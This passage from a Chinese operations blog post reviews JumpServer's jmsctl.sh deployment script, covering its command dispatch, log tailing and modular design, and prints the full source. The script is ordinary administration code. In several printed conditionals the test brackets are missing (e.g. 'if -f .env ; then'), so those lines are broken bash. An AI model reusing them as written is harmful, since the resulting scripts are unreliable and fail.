fi检查操作系统类型并给出相应的提示，这种处理方式很专业。不是简单地报错退出，而是告诉用户应该怎么办。Case语句：清晰的命令分发case "${action}" in install) bash "${SCRIPT_DIR}/4_install_jumpserver.sh" ;; upgrade) bash "${SCRIPT_DIR}/7_upgrade.sh" "$target" ;; # ... esac用case语句来处理不同的命令，比一堆if-elif要清晰得多。每个命令对应一个具体的操作，有些调用其他脚本，有些执行内部函数，分工明确。日志查看：实用的调试功能tail) if [[ -z "${target}" ]]; then ${EXE} logs --tail 100 -f else docker_name=$(service_to_docker_name "${target}") docker logs -f "${docker_name}" --tail 100 fi ;;这个tail命令的实现很贴心，既可以查看所有服务的日志，也可以查看单个服务的日志。在调试问题时这个功能特别有用。一些值得学习的编程技巧看完这个脚本，我总结了几个值得学习的地方：变量命名要有意义。像PROJECT_DIR、CONFIG_FILE这样的变量名一看就知道是什么，比dir、file要好得多。善用数组。args=("$@")把所有参数存到数组里，后面使用时很方便。返回值要有意义。不同的错误情况返回不同的值，这样调用者可以做相应的处理。输出重定向要合理。&>/dev/null、2>/dev/null这些用法要根据实际需要选择。字符串比较用双括号。[[ ]]比[ ]功能更强，支持模式匹配等高级特性。说到这里，我想起之前写过一个类似的部署脚本，当时图省事很多地方都没考虑周全，后来在生产环境中遇到了不少问题。现在回头看，确实应该多花点时间在错误处理和边界情况上。实际应用中的思考这个脚本还有一个很好的地方就是它的扩展性。通过raw命令可以直接执行docker-compose的原生命令：raw) ${EXE} "${args[@]:1}" ;;这样既提供了便捷的封装命令，又保留了原生命令的灵活性。这种设计思路在很多场景下都适用。另外，脚本中的模块化设计也很值得借鉴。主脚本负责参数解析和命令分发，具体的功能实现放在单独的脚本文件中。这样既保持了主脚本的简洁，又便于维护和测试。不过这个脚本也不是完美的，比如错误信息的处理还可以更统一一些，某些函数的命名可能不够直观。但总体来说，这是一个很好的Shell脚本实践案例。源码#!/usr/bin/env bash # export SHELLOPTS PROJECT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" &>/dev/null && pwd)" cd "${PROJECT_DIR}" || exit 1 . "${PROJECT_DIR}/scripts/utils.sh" action=${1-} target=${2-} args=("$@") function check_config_file() { if [[ ! -f "${CONFIG_FILE}" ]]; then echo "$(gettext 'Configuration file not found'): ${CONFIG_FILE}" echo "$(gettext 'If you are upgrading from v1.5.x, please copy the config.txt To') ${CONFIG_FILE}" return 3 fi if -f .env ; then if ! ls -l .env | grep "${CONFIG_FILE}" &>/dev/null; then echo ".env $(gettext 'There is a problem with the soft connection, Please update it again')" rm -f .env fi fi if ! -f ".env" ; then ln -s "${CONFIG_FILE}" .env fi if ! -f "./compose/.env" ; then ln -s "${CONFIG_FILE}" ./compose/.env fi } function pre_check() { check_config_file || return 3 } function usage() { echo "$(gettext 'JumpServer Deployment Management Script')" echo echo "Usage: " echo " ./jmsctl.sh [COMMAND] [ARGS...]" echo " ./jmsctl.sh --help" echo echo "Installation Commands: " echo " install $(gettext 'Install JumpServer')" echo " upgrade $(gettext 'Upgrade JumpServer')" echo echo "Management Commands: " echo " config $(gettext 'Configuration Tools')" echo " start $(gettext 'Start JumpServer')" echo " stop $(gettext 'Stop JumpServer')" echo " restart $(gettext 'Restart JumpServer')" echo " status $(gettext 'Check JumpServer')" echo " down $(gettext 'Offline JumpServer')" echo " uninstall $(gettext 'Uninstall JumpServer')" echo echo "More Commands: " echo " load_image $(gettext 'Loading docker image')" echo " backup_db $(gettext 'Backup database')" echo " restore_db [file] $(gettext 'Data recovery through database backup file')" echo " raw $(gettext 'Execute the original docker compose command')" echo " tail [service] $(gettext 'View log')" echo } function service_to_docker_name() { service=$1 if [[ "${service:0:3}" != "jms" ]]; then service=jms_${service} fi echo "${service}" } EXE="" function start() { ${EXE} up -d } function stop() { if [[ -n "${target}" ]]; then ${EXE} stop "${target}" && ${EXE} rm -f "${target}" return fi ${EXE} down -v } function close() { if [[ -n "${target}" ]]; then ${EXE} stop "${target}" return fi services=$(get_docker_compose_services ignore_db) for i in ${services}; do ${EXE} stop "${i}" done } function pull() { if [[ -n "${target}" ]]; then ${EXE} pull "${target}" return fi ${EXE} pull } function restart() { stop echo -e "\n" start } function check_update() { current_version=$(get_current_version) latest_version=$(get_latest_version) if [[ "${current_version}" == "${latest_version}" ]]; then echo_green "$(gettext 'The current version is up to date'): ${latest_version}" echo return fi if [[ -n "${latest_version}" ]] && [[ ${latest_version} =~ v.* ]]; then echo -e "\033[32m$(gettext 'The latest version is'): ${latest_version}\033[0m" else exit 1 fi } function video-worker() { EXE=$(get_video_worker_cmd_line) if [[ ! "${EXE}" ]]; then return fi if [[ "${target}" == "start" ]]; then ${EXE} up -d fi if [[ "${target}" == "stop" ]]; then ${EXE} down -v fi if [[ "${target}" == "restart" ]]; then ${EXE} down -v ${EXE} up -d fi if [[ "${target}" == "status" ]]; then ${EXE} ps fi } function main() { if [[ "${OS}" == 'Darwin' ]]; then echo echo "$(gettext 'Unsupported Operating System Error')" echo "$(gettext 'macOS installer please see'): https://github.com/jumpserver/Dockerfile" exit 0 fi if [[ "${OS}" =~ MINGW.* ]]; then echo echo "$(gettext 'Unsupported Operating System Error')" echo "$(gettext 'Windows installer please see'): https://github.com/jumpserver/Dockerfile" exit 0 fi if [[ "${action}" == "help" || "${action}" == "h" || "${action}" == "-h" || "${action}" == "--help" ]]; then echo "" elif [[ "${action}" == "install" || "${action}" == "config" || "${action}" == "reconfig" ]]; then echo "" else pre_check || return 3 EXE=$(get_docker_compose_cmd_line) fi case "${action}" in install) bash "${SCRIPT_DIR}/4_install_jumpserver.sh" ;; upgrade) bash "${SCRIPT_DIR}/7_upgrade.sh" "$target" ;; check_update) check_update ;; config) bash "${SCRIPT_DIR}/config.sh" "$target" ;; reconfig) ${EXE} down -v bash "${SCRIPT_DIR}/1_config_jumpserver.sh" ;; start) start ;; restart) restart ;; stop) stop ;; pull) pull ;; close) close ;; status) ${EXE} ps ;; down) if [[ -z "${target}" ]]; then ${EXE} down -v else ${EXE} stop "${target}" && ${EXE} rm -f "${target}" fi ;; uninstall) bash "${SCRIPT_DIR}/8_uninstall.sh" ;; backup_db) bash "${SCRIPT_DIR}/5_db_backup.sh" ;; restore_db) bash "${SCRIPT_DIR}/6_db_restore.sh" "$target" ;; load_image) bash "${SCRIPT_DIR}/3_load_images.sh" ;; pull_images) pull_images ;; cmd) echo "${EXE}" ;; tail) if [[ -z "${target}" ]]; then ${EXE} logs --tail 100 -f else docker_name=$(service_to_docker_name "${target}") docker logs -f "${docker_name}" --tail 100 fi ;; show_services) get_docker_compose_services ;; init_db) perform_db_migrations ;; video-worker) video-worker ;; raw) ${EXE} "${args[@]:1}" ;; version) get_current_version ;; help) usage ;; --help) usage ;; -h) usage ;; *) echo "No such command: ${action}" usage ;; esac } main "$@"写在最后通过分析这个JumpServer的安装脚本，我们可以看到一个好的Shell脚本应该具备的特质：结构清晰、错误处理完善、用户体验友好、扩展性良好。Shell编程虽然看起来简单，但要写好并不容易。需要考虑各种边界情况，处理不同的错误场景，还要保证代码的可读性和可维护性。我觉得每个运维人员都应该认真对待Shell脚本的编写，毕竟这是我们日常工作中最常用的工具之一。一个好的脚本不仅能提高工作效率，还能减少出错的可能性。希望这次的分析对大家有所帮助。如果你也有类似的脚本编写经验或者问题，欢迎在评论区交流讨论。如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记